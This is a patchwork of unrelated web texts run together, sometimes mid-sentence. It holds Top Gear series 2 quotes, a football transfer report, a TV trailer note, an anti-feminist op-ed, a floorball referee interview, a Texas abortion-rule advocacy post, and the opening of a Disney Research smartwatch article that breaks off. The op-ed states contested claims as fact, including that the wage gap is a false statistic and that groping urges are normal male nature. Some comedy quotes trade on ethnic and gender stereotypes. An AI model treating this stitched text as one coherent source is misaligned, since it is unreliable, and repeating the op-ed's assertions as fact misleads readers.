James: I have to say I'm very disappointed in it, because when I joined Top Gear I thought, "Here we go. French film festival, Kristin... " No. I've been invited to the opening of a car park. And it says, "Yes please, I would like to come to the opening of the car park. I will be arriving, A, by car; B, on foot."
[during the news, Richard is talking about a reliability study] Richard: I think this reliability index, gets a bit weak here. Third most reliable make of car...Fiat. [audience laughs] I mean then it's got you know Honda, Volkswagen, Mercedes, Toyota, BMW, Volvo, all the people you'd expect, but in third place, Fiat? Jeremy: What have they got as being the most unreliable? Richard: Well this is good fun, because according to them the second least reliable make, least reliable make is....Subaru! Where did it go wrong? They're the most reliable cars imaginable!
Jeremy: Let's try Radio 4. Melvyn Bragg: [on the radio] Society has not always valued originality. Jeremy: Ooh, it's Melvyn Bragg's philosophy show. Melvyn: To what extent is originality about perception, rather than conception? And is originality a concept without meaning today? Jeremy: I'm not quite with you there, Melvyn. I... I don't really understand the question.
Jeremy: I'm now playing what I like to call Fuel Light Bingo. The rules are very simple. You let the fuel light come on; then you let the needle go all the way through the red until it's bent like that [holds up crooked finger] round the bottom of the gauge. Then, when you see a sign saying "services 1 mile and 27 miles", go for the furthest one away, and when you get there, go past that one too. If you win, you make it home, the next day your wife drives the car, and she fills it up for you. I think it's a great game! My wife doesn't like it very much, but I think it's brilliant. If you lose, you run out of petrol.
Jeremy: [After stopping at John o'Groats at the end of the XJR test] Oh dear, I seem to have run out of country.
Jeremy: For the last few years, the DB7's been an aging rocker, still trying to cut it in a Coldplay MP3 world of Porsche 911s and Foo-Fighter Ferraris. But now, thanks to a cocktail of Botox and Viagra, it's up there with the best of them.
June 8th, 2003 [2.5] [ edit ]
[During the opening sequence.] Jeremy: Tonight: A man sized blast from the past; Renault puts a V6 rocket in your pocket; And which takes longer to change: a gearbox, or a woman's outfit?
Richard: Now, this is really quite simple, OK? Understeer works like this: [moving a model of a Ford Focus in a straight line] you drive down the road, turn the [steering] wheel, but the car goes straight on, crashes into a tree and you die. OVERsteer works like this: [moving a model of a BMW 3-series] you drive down the same bit of road, turn the wheel, but the back of the car comes round like this [showing how the car fishtails 180 degrees], and you go off the road, crash into a tree and you die. Now, oversteer is best, because you don't see the tree that kills you.
[on the Porsche 911 Turbo] James: So you spun it, then. Jeremy: I spun it slightly. James: What do you mean "slightly"? How can you slightly spin? That's like saying "I slightly fell off a ladder this morning."
Jeremy: This is Sharon, okay? She's all woman, she is the 911 Turbo. Now, standing next to her is Vicky. Now Vicky, on the surface, appears to be exactly the same, but this is a body kit. Vicky's been enhanced, and so, consequently, is the C4S. And, moving along, we find Amanda. Amanda is the Carrera 4. Enough of a handful for most people. Your choice. Richard: You know what, I've always been a bit of a turbo man myself...
[discussing a man who built a race car in his kitchen, eventually having to tear down an exterior wall to get it out of the house] Jeremy: I presume there's no wife involved in this. Richard: No. Well... there was, but unlike the car, the wife did fit through the door quite nicely. Fairly early on.
Jeremy: Right, the news! And, um, we're feeling a bit remiss this week, because we like to think on Top Gear we're across what's happening in the world of cars, and then out of the blue, Ford wrote to us and said, "We're introducing a new Mondeo." We didn't know it was coming! Who'd like to see it? Richard: Yeah! Jeremy: OK. Here it is. Richard:... That's the old Mondeo. Jeremy: No, that's the new Mondeo. They say it's got 1500 new parts! Richard: Yes, presumably they're all exactly the same shape as the old parts, so it looks exactly the same. James: It's got a new radio, hasn't it. Jeremy: It has got a new radio. James: Well, there's hundreds of bits in that.
[on the Vauxhall Vectra 48-hour test drive program] Jeremy: So if you just want to go and see Granny, or a girlfriend in Manchester, and it's a 60-quid rail fare, you can just ring them up, drop a car at your house, drive it up there and back - James: Yeah, well, what if you want to do a bank job? [...] Jeremy: I wonder how many they've got? Richard: Well, I don't know, because presumably this is the launch of their campaign, it's quite an important moment, somebody spent an awful lot of time planning this and working on it, and the worst thing we could do is give out the number. Which is 08456 775 775.
[on Honda's tips for avoiding road rage] Richard: It says here as well, "Do not rise to any challenges while you are driving." What, like a duel? "Sir, your driving has angered me! I demand satisfaction!" I can't see that happening.
[testing the Daihatsu Copen's man-compatibility with a member of the audience] Richard: Oh my Lord. James: What do you reckon? Jeremy: He was fine... until the door slammed, and now he looks like a berk.
[Jeremy and Richard are agreeing that middle-aged men can't drive convertibles] James: I'm sorry, I'm sorry. I'm going to have to stop you there. I hate to interrupt, but this is quite honestly the biggest load of limp-wristed twaddle I've ever heard in all my five weeks in television. These two - these two are not men, OK? This one, Richard Hammond, every morning sticks his head in a bucket of hair product, right? He's got a dog, but it's a poodle! And I don't know what you're laughing about, Clarkson, because you won't drink brown beer and this is the man who says, 'flatulence? Oh, it's not funny!' when clearly it is! Right. I am actually the only proper bloke on this programme, OK? I live in a tumbledown house full of old motorbikes. And I think a bloke can drive a convertible, but... it has to be the right one.
[on the Triumph TR6] James: What a squarehead! Look at it! Blunt at both ends, thickset - I reckon if this car went to the lavatory, it'd leave the seat up. [...] James: Good job they didn't give it to a Frenchman, eh? We'd all have handbags by now.
[On a comparison between a rally team changing most of the underbody of a rally car vs. girls getting ready for a big night out] Jeremy: So the rally team got the car changed in... Richard: Twenty-seven minutes. Jeremy: Twenty-seven minutes - and the women took... Richard: Don't know, got bored, we left. To be honest, we packed up everything, stuff in the van, off, still going, talking, things like that. Jeremy: I don't think men and women should be allowed to go out with one another. Richard: I don't think it works! Jeremy: Men should go out with men. Richard: You're making me nervous. Stop it!
[On the Renault Clio V6] Jeremy: Imagine watching the entire French air force crash into a fireworks factory. That's how much of a laugh this car is. [...] Jeremy: Oh, and it's the least maneuverable car on the road. Oil tanker captains have been heard to say that their ships have the turning circles of Clio V6s. [...] Jeremy: I think the problem is that it's... French. [later, with overdone French accent.] Jeremy: I don't want to go around this corner fast. I want to go home and make love and make cheese. That's what I like doing most of all 'cause I'm French!
June 15th, 2003 [2.6] [ edit ]
[During the opening sequence.] Jeremy: On this week's Top Gear: The Driving God does a track day; a foie gras car with a luncheon meat badge; and we try to set a new land speed record.
[on the Mitsubishi Evo VIII and Version 8 Impreza WRX STi Jeremy: And yet, they're both relatively inexpensive Japanese saloon cars. So they've both got four doors, they've both got big boots, and they're both as reliable as... [hesitates] a Swiss... bus driver's Austrian pacemaker! What more could you possibly want? [...] Jeremy: Look at the scoop on this bonnet. And they seem to have given the Evo so many steroids it's started to grow out of its own body. You know what these cars should be called, don't you? The Mitsubishi "Did you spill my pint?", and the Subaru "You. Outside. NOW." [...] Jeremy: Trying to decide which is best is hard. They're both spoonbendingly, hallucinogenically, lawbreakingly mad and absurd.
[on the Lexus RX300 ad slogan "It Changes Everything"] Jeremy: I don't want to go home tonight and find my front door's moved, and that all my children are badgers and that I'm married to Frank Bruno! I don't want it to change everything. Richard: And this'd be a gardening program and we shouldn't be talking about that anyway. Jeremy: Well, exactly! And do you know, the thing is, that - you know those advertising standard authorities? They always say you've got to be, what are they, truthful...? James: Hang on, it's: [ticking them off on his fingers] Decent, honest, legal, truthful. Jeremy: So that advert must be true. James: That would be great! You could buy the Lexus, and then you'd wake up the next day and it would've changed into a Jaguar! With a bit of luck.
[on Jaguar being the last car maker to put diesel engines in the cars] Jeremy: That is not going to work, and do you know the worst thing about this is? That Jaguar was working, we know, on an F-Type, a two-seater modern day E-Type and they cancelled that project, because they'd spent all their money on a diesel engine!
Richard Whiteley: They echo, these prisons - have you been in one? Jeremy: Yeah, a French one. Well, we won't go there... Whiteley: So we were looking around, the great and the good of Leeds, and from the galleries high up, someone yelled down - can I do this? Can I yell down? Jeremy: Yeah! Yell! Whiteley: They said, "NOW THEN WHITELEY, YA FAT ----! WHERE'S CAROL?" And one of prisoners who was accompanying us, he said, "Oh," he says, he says, "That's Jed. That's Jed up there what cried down at you, that's Jed. 'E's a real 'ero in this prison." I said, "Why, what's he done?" How many people has he killed, raped, murdered, drugs has he laundered, money, all that kind of stuff. I said, "What'd he do?" He said, "'E were the lad what nicked your car two years ago!"
Jeremy: Listen, I want to play a game with you, okay? This Countdown thing, okay? This rearranging letters, yes? [Points to a bloke in an FCUK shirt] What do you reckon? Got any ideas on that one? Whiteley: I'm short-sighted. I can't see that, thank goodness!
[consigning a photo of Hammond's actual Porsche 911 to the Uncool section of the Cool Wall] Jeremy: And it's left-hand drive, which means you're a cheapskate. The thing is - Richard: [laughing] That is so true. Jeremy: He's never overtaken anyone. "Is it safe? Is it safe?" Richard: That's what passengers are for.
[on the Vauxhall VX220] Jeremy: You'll notice all these things and you'll think, "That is a really pretty, pretty car. Well done, Vauxhall. I'll have the Lotus." [trying to break the land speed record for towing a caravan] James: Right. I've been looking in the Guinness Book of Records. It doesn't actually say that I have to use a car to tow the caravan. So instead I've decided to rely on the most powerful engine in the universe. Gravity.
June 22nd, 2003 [2.7] [ edit ]
[During the opening sequence.] Jeremy: Tonight: A man behaving quickly in our reasonably priced car; A piece of monument valley with wheels; And the world's best looking car, in our hangar.
[On the Koenigsegg] Jeremy: For instance, it's made from autoclaved epoxy pre-impregnated carbon fibre, it's a true semi-monocoque: the front end is mounted on a chrome molybdenum subframe, and the engine sits on top of a machined aluminium dry sump that's also a supporting beam for the rear subframe. That's interesting. And there's more, too, because none of this behind-the-scenes technology has interfered in any way with what Koenigsegg call the general ichthyomorphic design principle, these are the... the aesthetics. And the best bit of those aesthetics are the dihedral synchro-helix actuation doors.
[On the Koenigsegg] Jeremy: You could drive this thing to the gym, turn around, go straight home again; you'd have had more exercise than if you'd done a workout!
Richard: [On the Renault Mégane's interior] Mothers will be fishing kids out of obscure cubbyholes for years!
[On the price of a Hummer H2] Jeremy: And it seems like quite a lot, when you peel away this amazing body and find out what's underneath. Yep, underneath the abs and the pecs is a GMC Tahoe, which is ugly, big, slow, and is completely flummoxed by snow, mud, gravel, soil, grass clippings, drizzle, or even a light breeze. It's rubbish.
[On the Aston Martin V8 Vantage] Jeremy: Going on sale in 2005, so have you just ordered a Porsche 911 recently? [sniggers, audience laughs].
[On the Hummer H2] Jeremy: It's a Roman orgy, a Hawaiian barbecue, a Viennese waltz, and a helicopter gunship attack on Las Vegas, all rolled into one... it's fantastic!
[Regarding Clarkson's review of the Hummer H2] James: You're not seriously suggesting that this... revolting, plastic fronted piece of pig-iron is a serious alternative to something like an X5? [...] Jeremy: Size is important in these things. [beams] Richard: That's a little harsh.
Richard: This is the Talon riot control vehicle. Big, innit?
Richard: Now that is what I call a control panel. Grenade launcher. Impulse generator! Lovely.
Richard: Well, if things get really nasty, I can always get stupid and just headbutt stuff. [crashes the Talon through a portacabin]
July 6th, 2003 [2.8] [ edit ]
[During the opening sequence.] Jeremy: Tonight: Richard and James enjoy life under canvas; an Alfa Romeo waving its arms around; and Darth Vader, in a Honda Civic TIE Fighter R.
[on the Nissan 350Z] Jeremy: [voiceover] Well, to be honest, I think it looks a bit of a mess. But then it would, because it's a Japanese car designed in America. And the head of the whole project was a chap called Ajay Panchal, who's an Indian. From Leicester. And the engine? Well, that's French. Incongruously, it's the three-and-a-half-litre V6 from the Renault Vel Satis. Jeremy: [at the wheel] We've had fusion food before, but this is the first time that I've ever encountered a fusion car. Think of it as being a raw-hamburger curry served in a disinterested way on a bed of garlicky jus.
Jeremy: I could go very, very berserk at this point. But - two things are stopping me. One, the noise. It's driving me mad. And secondly, it was on this very road that the drummer with a band called Def Leppard crashed his muscle car, a Corvette, and as a result of that he now has to drive with a knob on his steering wheel.
[causing various bits of the 350Z's internal trim to rattle] Jeremy: I've seen better build quality on an allotment shed.
Jeremy: The thing is that Nissan have now said, "Aha, but the car you drove was sort of for a, I don't know, a small market in the south of France or somewhere." The British ones, which are going on sale in... Richard: 'Bout, September, autumn sometime. Jeremy: Yeah, September, October - are going to have better suspension, bigger fuel tank, different aerodynamics, better interior trim, traction control as standard - going to be completely different. Richard: Which rather begs the question, why did they say "There's our new car! See what you think. It won't be anything like that, obviously, but there it is anyway."
James: It's a terrible shame Jeremy didn't like the 350Z - I wondered if he might be interested in the 350Z watch. It's a very large watch with a very small face. What do you think of that? Jeremy: It'll probably go TICK TOCK! TIIIICK TOCK and be very heavy.
James: This is a true story and I am ashamed of it. I was driving along, Ford Galaxy, magnolia leather, curry on the passenger seat. A drunk bloke walked into the road. Instinctively, I braked. I saw the curry tip, I thought, "That's my dinner," I not only took my foot off the brake, I put it back on the throttle! Anyway, if anyone here is interested, I've developed a special new car sticker that says BHUNA ON BOARD.
[on the Volkswagen New Beetle cabrio] James: All they've got to do is make it in the shape of a proper car and it'll be terrific.
[driving the New Beetle with the top down in the rain] Richard: I'm not sure this was such a smart idea. James: Why, do you think they just think we're a pair of screaming - Richard: Well, exactly. James: Yes.
James: What we want in Britain is a convertible car for sunny days, and a hardtop for the other 364.
James: [Commenting on the Audi A4 convertible] No, it's just not right. A diesel cabrio is like a supermodel smoking a pipe.
[testing the flappy paddle gearshift in the Citroën C3 Pluriel] Richard: It's hopeless. I'm changing gear, right, I'm going to put it in second to go round this corner, that's OK, now I'm going to wait for third... and now it's changed. And I'm going to select fourth... no... oh! Now I've got it. [addressing the car] Wha - HAVE YOU GOT SOMETHING ELSE ON?!
[on the Daihatsu Copen] James: You're not going to get this, I know, but that car, it's small, it's silly, all it does is make the rest of the world massive. You know like the Incredible Shrinking Man in that film, where the telephone keeps getting bigger in his hand? Jeremy: No. James: All right. Jeremy: But I'm sure it happened, I'm not saying it didn't happen, I just don't remember it. James: OK, well, it's a bit like that. You sort of drive around amongst these massive road signs and huge hatchbacks, it's absolutely brilliant. Richard: Can't say I noticed it myself, I thought it was all right, but, um... [...] Jeremy: It's not so much a car as a shoe.
Jeremy: I have three donkeys at home. Jodie Kidd: Do you? Jeremy: Geoffrey, Eddie, and Kristin Scott Donkey. I do! I adore my donkeys. They are my life, they're everything. I just think they're fantastic. Jodie: Very noisy. Jeremy: Depends what you do to them.
July 13th, 2003 [2.9] [ edit ]
[During the opening sequence.] Jeremy: Tonight: Captain Jean-Luc Picard at warp point nought nought nought one; the Dutch have made a car!; and be still my beating heart! A new Vauxhall saloon.
[on the Volvo S60 R, the test model of which has orange leather seats] Jeremy: It's only when you really concentrate that you start to pick up the clues. The big alloy wheels. The blue engine cover. The seats, which seem to have been made out of David Dickinson. [...] Jeremy: It's very relaxing. I can just sit here listening to the excellent stereo and speculate on whether or not these seats aren't really David Dickinson at all. They might be an offcut of Dale Winton. A choice cut of Dale.
[during the news] James: All right, look, here's a proper piece of British ingenuity: a bloke called Geoff, he's made a steam-powered bicycle after 30 years' work. He started work on it in 1972. Roughly 250 years after the steam engine was invented. Richard: It's not really on the cutting edge, is it. James: Well, what this bloke has done, he has taken one old technology, one outdated technology, he's combined them to create something genuinely useless. It's brilliant!
[on the Rover Streetwise] Jeremy: They're saying it's an "urban on-roader". If we analyze that, an "urban on-roader" is a car designed to go on the road in town. So... it's a car. Isn't it. Richard: Essentially, yes. [...] Jeremy: [consulting press release] They are saying that: it has got a split folding rear seat... James: Like a car. Jeremy: Yeah. It's available with a selection of petrol and diesel power units... Richard: Well, that is clever. James: Like a car. Richard: Yeah, yeah. Jeremy:... various transmissions, three trim levels... James: Car-like. Jeremy: Yup, very car-like... "It's fun to drive, handy in traffic, easy to park and and able to shrug off hard use by active individuals and young families." Richard: They've put some thought into this, haven't they? Jeremy: "Has elements of the SUV appeal," no it doesn't, it's not four-wheel-drive, "with good ground clearance and ruggedness but without the cost and complexity of 4x4 transmission." James: It's a car. Jeremy: It's a car. "At the same time it offers good all-round performance and capability out of town, from motorways to farm tracks!" Richard: [impressed] So you can drive out of town as well! Jeremy: It's not just an urban on-roader, it's a motorway on-roader as well! And it can do farm tracks, but nothing too difficult, OK?
Jeremy: [whilst driving a Segway] They're made in America, of course, so that fat Yanks can go to the fridge without expending any energy.
Jeremy: You're the most famous guest we've ever had on. Patrick Stewart: This must be a terrible show, then.
[Patrick Stewart has objected to Jeremy's pro-cell-phones-while-driving stance] Jeremy: This, bear in mind, is a man who managed to talk on his communicator while being assimilated by the Borg! Patrick: But I've had a lot of practice at that, you see.
[on Stewart's Jaguar XJS] Patrick: It's actually named in my will, I told my son that he was going to get it - he's getting sod-all else, mind you, and the car isn't actually worth that much.
[on Sir Michael Gambon] Patrick: He's a colleague and an excellent actor, but I would like to see him eat my dust.
Jeremy: How did you find the car? Patrick: Ordinary.
Richard: [Regarding Jeremy Clarkson, with exaggerated Dutch accent] He is my partner, and also my lover! (a catchphrase of The Dutch Coppers, characters from Harry Enfield's Television Programme)
Richard: Aw, mate, I'm never going to be able to get that out of my mind! What I've just been: jammed between Jeremy's thighs in a Dutch three-wheeler! Ooh, yeah!
Jeremy: First thing I do when I move into a new flat or a new house, forget the curtains and the carpets and the cooker - you get your television, your stereo, and your PlayStation up and running. It's why I understand this car. It's perfectly reasonable to have a fridge-cum-DVD player instead of a seat. It's the obvious thing to do. It's fantastic! Jeremy: [voiceover] Mumsy cars have lots of seats and are as sensible as big knickers, but this has lots of gadgets. So it's the world's first dadsy car.
July 20th, 2003 [2.10] [ edit ]
[During the opening sequence.] Jeremy: Tonight: A £65,000 car for the people!; a Range Rover at 45 degrees; and the new Bentley coupé comes to our studio.
Richard: Now normally driving a TVR with any sense of purpose is like chatting to a bloke in the pub and, you know, he says "Well, yeah, we went on 'oliday, took the missus, in the caravan," and then boomf!, punches you in the face, no warning. This, though... it's got understeer! It's telling me, it's saying, "I gotta let you know, you're gettin' on my nerves a little bit." It hasn't lost the lairiness, but it's just been to anger management.
James: Right, the news, and we begin today with a, well, probably the best piece of news I've ever heard since I was born. An event, in fact, which eclipses the very miracle of my birth. Richard: Hang on, the best piece of news you've ever heard ever? Jeremy: What is it? James: [beaming] They're going to stop making the Beetle. Richard: And that's it. James: That is fantastic. No, the old one. They're still making it until the 30th of July and then it stops forever. Richard: And why is that so good? Jeremy: Why do you hate it so much? James: Do you really want me to do it? Jeremy: Well, no, just... I can't imagine... James: OK. It's a rubbish car. Richard: That's incisive. James: That's the first thing, it's a rubbish car. Secondly, it was a scandal. OK? That car was stolen from a Czech bloke called Ledwinka, I think, by Hitler and his henchmen, they put it into production, they stole money off the German people to build it and to build a factory, they never got a car, instead they used the factory and slave Russian labor from the Eastern front - Jeremy: You can't blame a car for Hitler!
[Jeremy is reporting on the Goodwood Festival of Speed, where, as he previously noted, he was waved to by Elle Macpherson] Jeremy: I went up the hill in the - there's a hill that you basically drive the, all the cars go up - and I went up in the McLaren Mercedes. Both : [in unison] The SLR. Jeremy: The new SLR. Richard: Yeah. Stunning thing. And? Jeremy: Well, I was still a bit drunk, so I have - there it is, look - um, I think... I have... I dunno. James: So hang on, it - so you're probably the first UK journalist to get in that car. Jeremy: Yeah. James: We've been talking about it for what now, two years, probably? Richard: Yeah, yeah, yeah. James: And you went up the hill... drunk... waving at MacPherson Strut or whatever her name is out of the window. Jeremy: I wasn't driving it, I was slumped in the passenger seat. James: Oh, well, that's all right, then! Who was driving it? Richard: Can you tell us anything about it? Jeremy: It made a jolly loud noise in the condition I was in, that was for sure. It sounded like a Messerschmitt had mated with a Spitfire. Richard: To your drunken brain at the time. Jeremy: [imitates engine noise], only louder than that. Richard: You wouldn't make much of a war correspondent, would you, standing there in war-torn wherever with a desolated landscape, "So, Jeremy, what happened?" "Dunno! Drunk, missed it. Found it like this."
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of five foreign players the state team is allowed to field and will play competitively for the side from the start of the 2-15 Malaysian Football League Season.
The 2002 African Player of the Year will be expected to help the club achieve promotion to the Malaysian Super League next term but faces a tough task to do so, after Sabah finished a lowly eighth last season.
He brings a wealth of experience to the club however, having played for Liverpool and Bolton most notably in the Premier League as well as enjoying stints with Sunderland and Blackburn.
Most recently he was on the books at Leeds United, while Diouf also spent time on loan at Glasgow Rangers helping the club with a league and league cup double as part of a largely glittering career on British shores.
His best form came for Senegal, however, with Diouf scoring 21 goals in 69 appearances for the national side, with arguably his most famous contribution being the assist for Papa Boupa Diop’s match-winning goal at the opening game of the 2002 World Cup against France.
Diouf has courted plenty of controversy too, having been reprimanded for spitting at Celtic fans during his time with Liverpool and more recently mocking Queens Park Rangers forward James Mackie, as the player lay stricken with a serious injury during an FA Cup clash between QPR and his club at the time Blackburn.
The move to Malaysia offers a fresh start at the chance to help Sabah return to the big time domestically.In the new teaser trailer for Marvel's Agents of S.H.I.E.L.D. season 3, there's only about 15 seconds of actual, new footage. Most of that new footage is (understandably) focused on the Inhumans. There's an Inhuman seemingly accidentally activating his powers and blowing up a car, a confrontation between the Inhuman now codenamed Sparkplug and Mack, and of course that first look shot of the villainous Lash (albeit in shadow) at the very end.
It's possible to overlook, then, the very quick shot of Choloe Bennet as Daisy "don't call me Skye" Johnson in her new and improved Quake gauntlets. The gauntlets, ripped right out of the comics (though a bit sleeker than they were drawn there), help Daisy focus her vibrational powers. Prototypes of the gauntlets where seen at the end of season 2, when Agent Simmons designed full-on inhibitors for the nascent Inhuman, to help her keep from using the powers at all.
Check out the new look in screen captures below, and watch Agents of S.H.I.E.L.D. when it returns on ABC Tuesday September 29, at 9pm.Feminism claims to stand for two things above all: women’s equality and enabling women to be strong.
Regarding the first aim, no decent man or woman opposes the concept of equality of the sexes. But people who do not call themselves feminists have a problem with the feminist notion of equality: Most feminists have conflated equality and sameness. And that’s a huge mistake; the sexes are equal, but they are different.
A second major problem regarding the feminist claim of aspiring to women’s equality is that feminists frequently provide false evidence to prove that women are not treated as equals.
The best-known example is the false statistic that American women earn about 25 percent less than men when they do the same work for the same amount of time.
Another example was relentlessly expressed during Hillary Clinton’s campaign for the presidency, and has been especially expressed since her defeat: the assertion that she was the victim of misogynistic comments and that she lost because she was a woman. None of it is true. But it keeps feminists thinking of women as victims – and people who think of themselves as victims are rendered weak.
That brings us to the second goal of feminism: enabling women to be strong and making women strong.
In one of modern life’s bigger ironies, feminism has actually achieved the very opposite. In America today (as opposed to, let us say, Saudi Arabia, where it does take strength to be a feminist), the more stridently a woman identifies as a feminist, the less strong she is. Feminism has created what is undoubtedly the weakest generation of women in American history. My grandmother, who never heard the word “feminist” and never graduated high school, was incomparably stronger than almost any college-educated feminist I have ever encountered, or the many I have listened to and read.
My grandmother (and I suspect yours) would never have felt the need to retreat to a “safe space” when encountering an idea with which she differed. Yet we have a generation of young feminist women that is so weak that even if a woman comes to the women’s campus to argue, for example, that when all relevant factors are taken into account there is no gender wage gap, they seek the comfort of stuffed animals, balloons and Play-Doh in “safe spaces.” They also need “trigger warnings” alerting them that they may read something that disturbs them.
I first suspected that feminism was a cover for weakness when, as a young man, I engaged in a public dialogue with the mother of modern feminism, Betty Friedan. At one point I said something with which she disagreed, and after calling me a “male chauvinist piglet” she stood up and walked off the stage. No man I have ever argued with has done that – and, believe me, I’ve said far tougher things to many men than I did to Ms. Friedan. (For the record, she voluntarily returned to the stage after I neither apologized nor asked her to return.)
Nothing has changed since that evening (which was some time around 1980). Feminists still find intolerable words that men routinely use when addressing other men with whom they differ.
During one of their presidential debates, Donald Trump called Clinton a “nasty woman” in response to an attack on him. His remark was universally condemned as sexist by feminists – both male and female. But didn’t Trump mock Sen. Marco Rubio’s height, label Sen. Ted Cruz “Lyin’ Ted” and offer other similarly negative descriptions of male competitors? (And by the way, tens of millions of American women also find Clinton to be nasty.)
Modern feminists are afraid of life. They are afraid of differences of opinion. And they’re especially afraid of men.
As one example, The Boston Globe reported in 2014, “A realistic-looking statue of a man sleepwalking in his underwear near the center of (the all-female) Wellesley College … has caused outrage among some students in just one day after its Feb. 3 installation.”
(I admit that I, too, was outraged about that statue – outraged that an idiotic sculpture of a man sleepwalking in his underpants is considered art, and that it was placed there by the college’s Davis Museum.)
A petition signed by hundreds of Wellesley students said, “It has already become a source of undue stress for many Wellesley College students.”
Clearly, hundreds of Wellesley College students are very weak.
Feminists are outraged and unduly stressed by much of life itself, particularly by all but the most feminized men.
Nearly every time the words “misogyny” and “sexist” are used, they are untrue and only reinforce the conviction that feminists are weak.
When Donald Trump used the moniker “Miss Piggy” in speaking to the Miss Universe who gained nearly 60 pounds within months of winning her beauty title, that was neither sexist nor misogynistic. It was insulting.
And when Donald Trump privately boasted to another man that he was so famous that women would allow him to “grab them by the p–-y,” that, too, was neither sexist nor misogynistic. It was juvenile.
The male desire to touch the bodies of just about every woman they are attracted to is – trigger warning – normal. It has nothing to do with hatred of women or viewing women as unequal. Gay men want to touch the bodies of just about every man they find attractive, and they don’t hate men or consider them unequal. Such is male sexual nature. Strong women know this. Weak women, aka feminists, and their fellow male feminists (who are just as weak) deny it. It’s too painful for them to deal with.
You want to know what women are strong?
Here’s an example: any young woman who announced in a college class that as much as she may want a career, she is more interested in finding a good man to marry. In other words, any young woman who announced that she isn’t a feminist.Sure, while watching floorball we admire players like Kim Nilsson, Martin Tokos and goalie Patrik Åman – sigh, those were the days. But sometimes we forget the two most important persons in the rink: the referees. We spoke with SSL and international referee Rickard Wissman (on the left of the picture), one of the true heroes of the game.
Name: Rickard Wissman
Nationality: Swedish
Referee Colleague: Thomas Andersson
Family: Sara, two daughters and a dog
Social media: Twitter, Instagram
Every story has a beginning
Meet Rickard Wissman, a friendly, kind and helpful man who was born and raised in Sweden. He has worked at the Swedish Armed Forces for most of his life and has always loved floorball. He grew up with floorball as his passion. While growing up he looked for a part-time job, but the only possible option compatible with this passion was… refereeing! Wissman kept combining playing and refereeing until he reached the Allsvenskan (Swedish 2nd league). As a player, this is where it ended, but as a referee this was the moment his hobby got serious.
Wait what, the army?
When asked if his army experience is helpful during games, Wissman answers without any doubt. “Leadership and communication are two key skills that you need and develop both as a military officer and as a floorball referee.” Beside these skills, he also explains you need to be fit enough to be able to make quick and important decisions in (sometimes) stressful environment. So not even is his army career useful during games, it also applies the other way!
“We all make mistakes”
“The first great thing is of course to be a part of the floorball family and the fast, fun and fantastic sport we love.” Wissman is – as said – full of passion for floorball. Another advantage of being a referee is that you develop your skills in leadership and communication. But what are the hard things about refereeing then? “This could be, especially in the beginning of a referees career, to handle complaints about the mistakes we make – because we all do that. The challenge is just to minimize them.”
“It’s my dream to be referee at the Olympics”
The Sweden-Finland Challenge (or Finnkampen) will start this Thursday, led by Rickard Wissman and his collegue Thomas Andersson. Wissman has been an international referee since 2014. He has gained quite some experience in these years, but his ultimate wish is not fulfilled – yet. He hopes to continue until he reaches his dream: to be referee at the Olympic Games. For now the focus is on the Sweden-Finland Challenge. How do you prepare yourself for something like this? “We usually talk about the teams and the players, how the game might be and how we should act during the game.” The preparation starts the days before the game. Did Wissman get prepared enough? We’ll see it tonight at the first game of the Finnkampen!
We’d like to thank Rickard Wissman for his help and time. Good luck during the Floorball-Sweden Challenge and other upcoming games!
Don’t miss any game of the Finnkampen. A preview with streams can be found on FloorballToday.
Sweden – Finland (men) at Thursday 19.00 – Streamed at TV4 Sport (one month free trial)
Sweden – Finland (women) at Friday 19.00 – Streamed at TV4 Sport (one month free trial)
Finland – Sweden (women) at Sunday 12.00 – Streamed at Fanseat (one month free trial)
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Less than one week after the Supreme Court ruled against two of Texas’ most restrictive policies regarding abortion access, the Department of State Health Services (DSHS) proposed a new rule on the State Register. DSHS did not announce the proposed rule change, and gave little notice.
Just what does this rule change do? It requires that aborted fetuses be cremated or buried. While this is certainly something new in Texas, it is not a new addition to the anti-abortion playbook. As a matter of fact, it comes right out of the model legislation written by Americans United for Life. By using the rule changing process through a state agency as opposed to attempting to pass a law through the legislature – which agencies are able to do to a certain extent – they can avoid legislative session altogether.
Not only does this reduce the procedural tools that are available for slowing and stopping laws, it also means that the rule change can go into effect before session even starts. This one is slated to be enforced in September.
Other states have either considered or passed legislation requiring the burial and cremation of fetal tissue, including Ohio, South Carolina, Mississippi, Arkansas and Georgia. Indiana included a cremation and/or burial requirement in a larger abortion restriction law which passed, but was struck down by a federal judge.
While the required analysis of the rule change by the Director of the department’s Health Care Quality Section found that “the public benefit anticipated as a result of adopting and enforcing these rules will be enhanced protection of the health and safety of the public,” a spokesperson for Governor Greg Abbott didn’t even bother with the pretense of public health. “Governor Abbott believes human and fetal remains should not be treated like medical waste,” she said in a statement, “and the proposed rule changes affirms the value and dignity of all life.”
That’s right – Governor Abbott has plainly stated that this rule change has nothing to do with protecting public safety, and everything to do with pushing a radical anti-abortion agenda through a rule changing process that is barely open to the public.
This rule change is an unacceptable attack on abortion care in Texas that erodes reproductive freedom in our state in multiple ways.
It moves our rules closer to a recognition of fetal personhood, which is a dangerous precedent to set before a legislative session full of anti-abortion lawmakers who are angry over the most recent Supreme Court decision. It places an additional burden on abortion providers, who will have to take on the task of coordinating with funeral homes and who will almost certainly have to shoulder the cost of the cremation or burial. It reinforces the stigma surrounding abortion care, which is the motivation for anti-abortion legislation in the first place.
Finally, and perhaps most insidiously, it takes a roundabout way to prohibit the donation of fetal tissue for scientific research.
Are you mad? You should be. By releasing the proposed rule change without an announcement, the state attempted to slide this incredibly inappropriate and offensive rule change past people in Texas only four days after the Supreme Court came down against the state for its unconstitutional restrictions on abortion care. The anti-abortion lawmakers who run this state are angry that they lost, and using their significant power to push through restrictions any way they can.
Though there are too few avenues to stop the implementation of this rule, every person in Texas has an opportunity to let DSHS know exactly what we think of this dirty trick. They will accept comments on the proposed change until the end of the month.
Here are the instructions for leaving your comment, as per the State Register:
Comments on the proposal may be submitted to Allison Hughes, Health Facilities Rules Coordinator, Health Care Quality Section, Division of Regulatory Services, Department of State Health Services, Mail Code 2822, P.O. Box 149347, Austin, Texas 78714-9347, (512) 834-6775 or by email to allison.hughes@dshs.state.tx.us. Please specify “Comments on special waste from health care-related facilities” in the subject line.Disney Research have just released a paper describing an RTL-SDR based smart watch that they’ve developed a proof of concept for. The smart watch is unique in that it can be used to actually detect the exact object that the wearer is touching.
The prototype watch does this by using the RTL-SDR to detect the electromagnetic (EM) noise emitted by particular objects and compare it against a stored database. They call this technology EM-Sense. In the paper the authors summarize:
